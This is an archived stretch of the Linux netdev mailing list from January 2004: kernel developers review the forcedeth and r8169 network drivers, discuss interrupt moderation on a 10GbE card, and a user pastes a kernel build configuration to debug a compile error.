charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 2728 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: YOSHIFUJI Hideaki / $B5HF#1QL@(B Date: Fri, 23 Jan 2004 10:02:55 +0900 (JST) D: fix several mis-spellings / typoes in net/ipv6 Applied, thank you. From romieu@fr.zoreil.com Sat Jan 24 11:00:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 11:00:23 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OJ097J030884 for ; Sat, 24 Jan 2004 11:00:10 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0OIxpgf001669; Sat, 24 Jan 2004 19:59:51 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0OIxpbA001668; Sat, 24 Jan 2004 19:59:51 +0100 Date: Sat, 24 Jan 2004 19:59:51 +0100 From: Francois Romieu To: Carl-Daniel Hailfinger Cc: marcelo.tosatti@cyclades.com, Linux Kernel Mailing List , netdev@oss.sgi.com, Jeff Garzik , Manfred Spraul Subject: Re: [PATCH] [2.4] forcedeth network driver Message-ID: <20040124195951.A1304@electric-eye.fr.zoreil.com> References: <4012A738.2060009@gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4012A738.2060009@gmx.net>; from c-d.hailfinger.kernel.2004@gmx.net on Sat, Jan 24, 2004 at 06:11:20PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2729 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Carl-Daniel Hailfinger : [current version of forcedeth] +static int __devinit probe_nic(struct pci_dev *pci_dev, const struct pci_device_id *id) +{ [...] + dev = alloc_etherdev(sizeof(struct fe_priv)); + np = get_nvpriv(dev); + err = -ENOMEM; + if (!dev) + goto out; -> get_npriv() can still dereference a NULL pointer. [...] + err = pci_request_regions(pci_dev, dev->name); + if (err < 0) + goto out_disable; [...] + if (i == DEVICE_COUNT_RESOURCE) { + printk(KERN_INFO "forcedeth: Couldn't find register window for device %s.\n", + pci_name(pci_dev)); + goto out_relreg; [...] + if (!dev->base_addr) + goto out_disable; ^^^^^^^^^^^ -> shouldn't it be out_relreg ? -- Ueimor From manfred@colorfullife.com Sat Jan 24 11:02:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 11:02:37 -0800 (PST) Received: from dbl.q-ag.de (dbl.q-ag.de [213.172.117.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OJ2M7J031210 for ; Sat, 24 Jan 2004 11:02:23 -0800 Received: from colorfullife.com (dbl [127.0.0.1]) by dbl.q-ag.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0OJ2B8H025672; Sat, 24 Jan 2004 20:02:11 +0100 Message-ID: <4012C132.5090508@colorfullife.com> Date: Sat, 24 Jan 2004 20:02:10 +0100 From: Manfred Spraul User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: Carl-Daniel Hailfinger , marcelo.tosatti@cyclades.com, Linux Kernel Mailing List , netdev@oss.sgi.com, Jeff Garzik Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012A738.2060009@gmx.net> <20040124195951.A1304@electric-eye.fr.zoreil.com> In-Reply-To: <20040124195951.A1304@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2730 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev Francois Romieu wrote: >-> get_npriv() can still dereference a NULL pointer. > > Ups, I think I fixed that. It seems the fix got lost. Sorry. >+ if (!dev->base_addr) >+ goto out_disable; > ^^^^^^^^^^^ >-> shouldn't it be out_relreg ? > > Ok, thanks. -- Manfred From leonid.grossman@s2io.com Sat Jan 24 11:53:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 11:53:55 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OJrc7J000330 for ; Sat, 24 Jan 2004 11:53:41 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0OJr1FG010655; Sat, 24 Jan 2004 14:53:01 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0OJqvKK016992; Sat, 24 Jan 2004 14:52:58 -0500 (EST) From: "Leonid Grossman" To: , "'Andi Kleen'" Cc: Subject: RE: FW: Submission for S2io 10GbE driver Date: Sat, 24 Jan 2004 11:52:16 -0800 Message-ID: <002401c3e2b3$94038d70$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <1074966855.1732.8.camel@jzny.localdomain> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2731 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > Leonid, > > What would also be interesting to see is a packet that never > leaves the kernel such is in forwarding. If theres a way you > can stash two of those cards in a box and just have them > forward packets coming in from one to another - would be nice > to see the numbers with varying packet size example { > 64,256,512,1518, 4K, 9K} > > cheers, > jamal Hi Jamal, Are you suggesting to run a benchmark between two back-to-back hosts, and then run the same benchmark between the two hosts via a third box (with two 10GbE cards) that would just forward traffic, and compare the results? Or you had a different setup in mind? Not sure what the application for something like this would be (I think 10GbE will be mainly deployed in a datacenter for a while), but we can probably run something like that and get the numbers; I'll let you know. Thanks, Leonid From leonid.grossman@s2io.com Sat Jan 24 12:06:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 12:06:31 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OK6B7J000966 for ; Sat, 24 Jan 2004 12:06:11 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0OK5XFG010689; Sat, 24 Jan 2004 15:05:33 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0OK5WKK018946; Sat, 24 Jan 2004 15:05:32 -0500 (EST) From: "Leonid Grossman" To: Cc: Subject: RE: FW: Submission for S2io 10GbE driver Date: Sat, 24 Jan 2004 12:04:51 -0800 Message-ID: <002501c3e2b5$543c45e0$0400a8c0@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <1074967227.1732.15.camel@jzny.localdomain> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -106.2 X-Spam-Outlook-Score: () X-Spam-Features: BAYES_01,IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2732 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > -----Original Message----- > From: jamal [mailto:hadi@cyberus.ca] > Sent: Saturday, January 24, 2004 10:00 AM > To: Leonid Grossman > Cc: netdev@oss.sgi.com > Subject: RE: FW: Submission for S2io 10GbE driver > > > On Sat, 2004-01-24 at 00:10, Leonid Grossman wrote: > > > > - Adaptive Interrupt Coalescence > > > > There are several interrupt schemes, in the utilization scheme the > > device can be programmed to automatically adjust interrupt > rate based > > upon link utilization, independently for tx and rx interrupts. For > > instance, if the utilization is in single percentage digits > then the > > device can be programmed to get an interrupt per every packet since > > interrupt rate doesn't matter much; If the utilization gets > closer to > > 100%, it will probably make sense to program device for, say, one > > interrupt per 200 packets - the number will somewhat vary for > > different systems and packet sizes. > > > > How effective is this? Today with a legacy pin iterrupts it's reasonably efective, and I have higher hopes for MSI and MSI-X when systems and the OS starts supporting it. > Example you could easily fill up a link with larger packets (less > interupts) than with smaller packets (more interupts). The > latter overloads the system more. > getting feedback from the system (which you can in Linux) and > adjusting the rate that way would be more effective it seems. These schemes could be complimentary, right now we do see that different thresholds need to be programmed for regular and Jumbo traffic. One thing I did not mention is that our ASIC supports several utilization thresholds on per interrupt basis (up to 64 MSI-X interrupts). There are also independent tx and rx queues, and each can have it's own interrupt. There is a pretty large number of parameters that traffic could be steered upon, packet size is one of them. So, if you want to have different interrupt moderation schemes for different packet sizes, you just need to steer packets to separate queues based upon size, and then assign a separate MSI interrupt to these queues and set different utilization thresholds for different interrupts. At any given workload, you will be getting interrupts at different rate for small and for big packets. Anyway, you are right there are many interrupt moderation schemes that host driver can deploy, our goal was to provide a flexible hardware assist. Thanks, Leonid > Adjusting interupt rates based on a moving window averaging > of the packet arrival rate would also be useful. > > cheers, > jamal > From jgarzik@pobox.com Sat Jan 24 12:21:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 12:21:53 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OKLd7J004918 for ; Sat, 24 Jan 2004 12:21:39 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:47566 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AkUHh-0005Xl-Rh; Sat, 24 Jan 2004 20:21:38 +0000 Message-ID: <4012D3C6.1050805@pobox.com> Date: Sat, 24 Jan 2004 15:21:26 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Manfred Spraul CC: Carl-Daniel Hailfinger , linux-kernel@vger.kernel.org, Netdev Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012BF44.9@colorfullife.com> In-Reply-To: <4012BF44.9@colorfullife.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2733 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Manfred Spraul wrote: > Jeff wrote: > >> * Interrupt handler is SCARY. You can potentially take and release >> the spinlock -many times- during a single interrupt. >> > I think that can happen only in theory: A new packet is completed while > the driver processes rx packets. I all normal cases there should be one > spinlock operation per tx irq, and 0 per rx irq. > And error handling IMHO doesn't count: it should be rare. > Or do I overlook a common case? Any amount of load at all will lead to multiple interations of the master loop in the interrupt handler. >>> +#define NV_MIIPHY_DELAY 10 >>> +#define NV_MIIPHY_DELAYMAX 10000 >> >> >> Style: it's fairly silly to mix enums and constants. >> >> > Right now: enum for the nic registers, #define for the rest. If you > don't like it I can change it. enums are definitely preferred... communicates more type/symbol information to the compiler and more symbol info to the debugger. >>> +/* General driver defaults */ >>> +#define NV_WATCHDOG_TIMEO (2*HZ) >> >> >> this seems too short, and might trigger on normal events? >> >> > I think I copied it from another driver - which value would you recommend? 5 seconds is the norm, but it also depends on whether your link interrupt is 100% reliable. If you don't have to synchronize the link watchdog timeout with other driver-private timers, the task is easier. Tangent -- you may wish to check for link in ->tx_timeout(), before resetting the NIC. Again, this depends on link interrupt/timer setup as well. The basic point is that TX timeout -may- occur because link went away. One way to handle this is to ensure that link-down events are always noticed before the watchdog timer kicks. Another way to handle this is to simply check for link when ->tx_timeout() is called. >>> +static inline struct fe_priv *get_nvpriv(struct net_device *dev) >>> +{ >>> + return (struct fe_priv *) dev->priv; >>> +} >> >> >> What's the point of this wrapper? >> >> You don't need to cast from a void pointer, either. >> >> > I usually try to write code that compiles as cpp - is that a forbidden > in kernel modules? It's pointless in C, and so I've been stripping such casts out of all net drivers when I find them. >>> +/* >>> + * alloc_rx: fill rx ring entries. >>> + * Return 1 if the allocations for the skbs failed and the >>> + * rx engine is without Available descriptors >>> + */ >>> +static int alloc_rx(struct net_device *dev) >>> +{ >> >> > [snip] > >>> + return 0; >>> +} >> >> >> skb_reserve() seems to be missing >> >> > Do you have specs that show that all nForce versions support unaligned > buffers? skb_reserve is a performance feature, I don't want to add it > yet. Testing that it works is on our TODO list. hmmmm, is nForce ever found on non-x86 boxes? I would think that skb_reserve might be -required- for some platforms. >> I wonder about calling dev_kfree_skb() from dev->tx_timeout() with >> dev->xmit_lock held... >> >> > Is that bug in the networking core still not fixed? I am not aware of a bug in this area. >>> + /* 2) check that the packets were not sent already: */ >>> + tx_done(dev); >> >> >> bug: tx_done unconditionally calls dev_kfree_skb_irq(), but here we >> are not in an interrupt. >> >> > What is the xxx_kfree_skb_xxx function that just works? dev_kfree_skb_any >>> + /* >>> + * the packet is for us - immediately tear down the pci >>> mapping, and >>> + * prefetch the first cacheline of the packet. >>> + */ >>> + pci_unmap_single(np->pci_dev, np->rx_dma[i], >>> + np->rx_skbuff[i]->len, >>> + PCI_DMA_FROMDEVICE); >>> + prefetch(np->rx_skbuff[i]->data); >> >> >> is this just guessing? or has this actually shown some value? >> >> I would prefer not to put stuff like this in unless it shows a >> measureable CPU usage or cache miss impact. >> >> > Just guessing - it shouldn't hurt. CPU usage won't be important until > nForce supports GigE. Should I remove it for now? I would rather remove it. "premature optimization" and all that. Otherwise this guess will be cut-n-pasted into other drivers, I guarantee, all without any verification of the guess... :) >>> +/* >>> + * change_mtu: dev->change_mtu function >>> + * Called with dev_base_lock held for read. >>> + */ >>> +static int change_mtu(struct net_device *dev, int new_mtu) >>> +{ >>> + if (new_mtu > DEFAULT_MTU) >>> + return -EINVAL; >>> + dev->mtu = new_mtu; >>> + return 0; >>> +} >> >> >> bug #1: have you tested changing the MTU while the NIC is actually >> running? >> > What should the nic do? I'll continue to allocate 1.8 kB buffers because > I don't know how to reconfigure the nic hardware to reject large packets. Fair enough. You may wish to (after testing!) increase DEFAULT_MTU by 4 bytes, to support VLAN. >> bug #2: need a minimum bound for the MTU as well >> >> > What is the minimum MTU? I remember a flamewar lkml about 200 byte MTU > for noisy radio links. Usually the ethernet standard 60 is fine. >>> + for (i=0; ; i++) { >>> + events = readl(base + NvRegIrqStatus) & NVREG_IRQSTAT_MASK; >>> + writel(NVREG_IRQSTAT_MASK, base + NvRegIrqStatus); >>> + pci_push(base); >>> + dprintk(KERN_DEBUG "%s: irq: %08x\n", dev->name, events); >>> + if (!(events & np->irqmask)) >>> + break; >> >> >> bug: check for 0xffffffff >> >> > What causes 0xfffffff? Hotplug? I think the irq handler could leave > immediately if a reserved bit is set. I'll add that. Yes, hot unplug or hardware fault. >>> + if (i == 32) { >>> + printk(KERN_INFO "%s: open: failing due to lack of suitable >>> PHY.\n", >>> + dev->name); >>> + ret = -EINVAL; >>> + goto out_drain; >>> + } >> >> >> bug: check #0 after checking #1, before giving up >> >> >> > MII id 0 a valid mii address? Or is that broadcast to all? It's usually something akin to an alias of one of the other phy id's, but if you found -no- phys at all, it wouldn't hurt to try zero. Thanks, Jeff From christoph@graphe.net Sat Jan 24 12:26:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 12:26:16 -0800 (PST) Received: from duron.home (adsl-66-120-163-118.dsl.sntc01.pacbell.net [66.120.163.118]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OKQ27J005392 for ; Sat, 24 Jan 2004 12:26:03 -0800 Received: from christoph (helo=localhost) by duron.home with local-esmtp (Exim 4.30) id 1AkULq-00055s-DK; Sat, 24 Jan 2004 12:25:54 -0800 Date: Sat, 24 Jan 2004 12:25:54 -0800 (PST) From: Christoph Lameter X-X-Sender: christoph@duron.home To: romieu@fr.zoreil.com cc: netdev@oss.sgi.com Subject: Compile Error with r8179.c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2734 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: christoph@graphe.net Precedence: bulk X-list: netdev Could you provide a diff against the current kernel? I applied all the patches and get the following when compiling: CC [M] drivers/net/8139too.o CC [M] drivers/net/tun.o CC [M] drivers/net/r8169.o drivers/net/r8169.c:383: error: conflicting types for `timer_t' include/linux/types.h:32: error: previous declaration of `timer_t' drivers/net/r8169.c: In function `rtl8169_init_one': drivers/net/r8169.c:739: error: structure has no member named `driver_data' drivers/net/r8169.c: In function `rtl8169_remove_one': drivers/net/r8169.c:866: error: structure has no member named `driver_data' drivers/net/r8169.c:880: error: structure has no member named `driver_data' drivers/net/r8169.c: In function `rtl8169_open': drivers/net/r8169.c:903: warning: passing arg 2 of `request_irq' from incompatib le pointer type drivers/net/r8169.c: In function `rtl8169_set_rx_mode': drivers/net/r8169.c:1593: warning: passing arg 2 of `set_bit' from incompatible pointer type make[2]: *** [drivers/net/r8169.o] Error 1 make[1]: *** [drivers/net] Error 2 My main problem with the existing driver is that the driver will hang when I insmod it on my duron system with a VIA mainboard (KLE133). Only the insmod hangs. I can still login to other sessions and the system operates normally apart from the hanging process in D state. From romieu@fr.zoreil.com Sat Jan 24 12:44:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 12:44:19 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OKi37J006090 for ; Sat, 24 Jan 2004 12:44:06 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0OKe9gf002874; Sat, 24 Jan 2004 21:40:09 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0OKe9YS002873; Sat, 24 Jan 2004 21:40:09 +0100 Date: Sat, 24 Jan 2004 21:40:09 +0100 From: Francois Romieu To: Christoph Lameter Cc: netdev@oss.sgi.com Subject: Re: Compile Error with r8169.c Message-ID: <20040124214009.A2069@electric-eye.fr.zoreil.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from christoph@graphe.net on Sat, Jan 24, 2004 at 12:25:54PM -0800 X-Organisation: Land of Sunshine Inc. X-archive-position: 2735 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Christoph Lameter : > Could you provide a diff against the current kernel? I applied all the Yes, just tell me what your current is. :o) (side note: if you do not send it now, you will have to wait until tomorrow evening as saturday evening is getting closer) Send your .config (off-list) if you think there is something wrong so that I can reproduce the problem. I have tested that the patches apply fine and compile modular against plain 2.4.2-rc1. [...] > My main problem with the existing driver is that the driver will hang when ^^^^^^^^ -> which kernel ? (un)patched ? > I insmod it on my duron system with a VIA mainboard (KLE133). Only the > insmod hangs. I can still login to other sessions and the system operates > normally apart from the hanging process in D state. You can try the first 10 patches (i.e. including r8169-intr_mask.patch) from the last serie. -- Ueimor From christoph@graphe.net Sat Jan 24 12:49:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 12:49:41 -0800 (PST) Received: from duron.home (adsl-66-120-163-118.dsl.sntc01.pacbell.net [66.120.163.118]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OKnO7J006543 for ; Sat, 24 Jan 2004 12:49:24 -0800 Received: from christoph (helo=localhost) by duron.home with local-esmtp (Exim 4.30) id 1AkUiS-000585-Tq; Sat, 24 Jan 2004 12:49:16 -0800 Date: Sat, 24 Jan 2004 12:49:16 -0800 (PST) From: Christoph Lameter X-X-Sender: christoph@duron.home To: Francois Romieu cc: netdev@oss.sgi.com Subject: Re: Compile Error with r8169.c In-Reply-To: <20040124214009.A2069@electric-eye.fr.zoreil.com> Message-ID: References: <20040124214009.A2069@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2736 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: christoph@lameter.com Precedence: bulk X-list: netdev On Sat, 24 Jan 2004, Francois Romieu wrote: > Christoph Lameter : > > Could you provide a diff against the current kernel? I applied all the > > Yes, just tell me what your current is. :o) 2.6.2-rc1 > (side note: if you do not send it now, you will have to wait until tomorrow > evening as saturday evening is getting closer) > > Send your .config (off-list) if you think there is something wrong so that > I can reproduce the problem. I have tested that the patches apply fine and > compile modular against plain 2.4.2-rc1. 2.6.2-rc1 right? # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y CONFIG_CLEAN_COMPILE=y CONFIG_STANDALONE=y CONFIG_BROKEN_ON_SMP=y # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=14 CONFIG_IKCONFIG=y CONFIG_IKCONFIG_PROC=y # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set # # Loadable module support # CONFIG_MODULES=y CONFIG_MODULE_UNLOAD=y CONFIG_MODULE_FORCE_UNLOAD=y CONFIG_OBSOLETE_MODPARM=y CONFIG_MODVERSIONS=y CONFIG_KMOD=y # # Processor type and features # CONFIG_X86_PC=y # CONFIG_X86_VOYAGER is not set # CONFIG_X86_NUMAQ is not set # CONFIG_X86_SUMMIT is not set # CONFIG_X86_BIGSMP is not set # CONFIG_X86_VISWS is not set # CONFIG_X86_GENERICARCH is not set # CONFIG_X86_ES7000 is not set # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMII is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set CONFIG_MK7=y # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set # CONFIG_X86_GENERIC is not set CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_USE_3DNOW=y CONFIG_HPET_TIMER=y # CONFIG_HPET_EMULATE_RTC is not set # CONFIG_SMP is not set CONFIG_PREEMPT=y CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_TSC=y CONFIG_X86_MCE=y CONFIG_X86_MCE_NONFATAL=y CONFIG_X86_MCE_P4THERMAL=y # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set # CONFIG_EDD is not set CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_EFI is not set CONFIG_HAVE_DEC_LOCK=y # # Power management options (ACPI, APM) # CONFIG_PM=y # CONFIG_SOFTWARE_SUSPEND is not set # CONFIG_PM_DISK is not set # # ACPI (Advanced Configuration and Power Interface) Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_INTERPRETER=y CONFIG_ACPI_SLEEP=y CONFIG_ACPI_SLEEP_PROC_FS=y # CONFIG_ACPI_AC is not set # CONFIG_ACPI_BATTERY is not set CONFIG_ACPI_BUTTON=y CONFIG_ACPI_FAN=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_THERMAL=y # CONFIG_ACPI_ASUS is not set # CONFIG_ACPI_TOSHIBA is not set # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_BUS=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_SYSTEM=y # CONFIG_ACPI_RELAXED_AML is not set # # APM (Advanced Power Management) BIOS Support # # CONFIG_APM is not set # # CPU Frequency scaling # # CONFIG_CPU_FREQ is not set # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y # CONFIG_PCI_USE_VECTOR is not set CONFIG_PCI_LEGACY_PROC=y CONFIG_PCI_NAMES=y # CONFIG_ISA is not set # CONFIG_MCA is not set # CONFIG_SCx200 is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set # # PCI Hotplug Support # CONFIG_HOTPLUG_PCI=y # CONFIG_HOTPLUG_PCI_FAKE is not set # CONFIG_HOTPLUG_PCI_COMPAQ is not set # CONFIG_HOTPLUG_PCI_IBM is not set CONFIG_HOTPLUG_PCI_ACPI=y # CONFIG_HOTPLUG_PCI_CPCI is not set # # Executable file formats # CONFIG_BINFMT_ELF=y CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_MISC=m # # Device Drivers # # # Generic Driver Options # CONFIG_FW_LOADER=y # # Memory Technology Devices (MTD) # CONFIG_MTD=m # CONFIG_MTD_DEBUG is not set CONFIG_MTD_PARTITIONS=m CONFIG_MTD_CONCAT=m CONFIG_MTD_REDBOOT_PARTS=m CONFIG_MTD_CMDLINE_PARTS=m # # User Modules And Translation Layers # CONFIG_MTD_CHAR=m CONFIG_MTD_BLOCK=m CONFIG_MTD_BLOCK_RO=m CONFIG_FTL=m CONFIG_NFTL=m CONFIG_NFTL_RW=y CONFIG_INFTL=m # # RAM/ROM/Flash chip drivers # CONFIG_MTD_CFI=m CONFIG_MTD_JEDECPROBE=m CONFIG_MTD_GEN_PROBE=m # CONFIG_MTD_CFI_ADV_OPTIONS is not set CONFIG_MTD_CFI_INTELEXT=m CONFIG_MTD_CFI_AMDSTD=m CONFIG_MTD_CFI_STAA=m CONFIG_MTD_RAM=m CONFIG_MTD_ROM=m CONFIG_MTD_ABSENT=m # CONFIG_MTD_OBSOLETE_CHIPS is not set # # Mapping drivers for chip access # # CONFIG_MTD_COMPLEX_MAPPINGS is not set # CONFIG_MTD_PHYSMAP is not set # CONFIG_MTD_PNC2000 is not set # CONFIG_MTD_SC520CDP is not set # CONFIG_MTD_NETSC520 is not set # CONFIG_MTD_SCx200_DOCFLASH is not set # CONFIG_MTD_AMD76XROM is not set # CONFIG_MTD_SCB2_FLASH is not set # CONFIG_MTD_NETtel is not set # CONFIG_MTD_DILNETPC is not set # CONFIG_MTD_L440GX is not set # # Self-contained MTD device drivers # # CONFIG_MTD_PMC551 is not set # CONFIG_MTD_SLRAM is not set # CONFIG_MTD_MTDRAM is not set # CONFIG_MTD_BLKMTD is not set # # Disk-On-Chip Device Drivers # # CONFIG_MTD_DOC2000 is not set # CONFIG_MTD_DOC2001 is not set # CONFIG_MTD_DOC2001PLUS is not set # # NAND Flash Device Drivers # # CONFIG_MTD_NAND is not set # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m CONFIG_PARPORT_SERIAL=m # CONFIG_PARPORT_PC_FIFO is not set # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_OTHER is not set # CONFIG_PARPORT_1284 is not set # # Plug and Play support # # 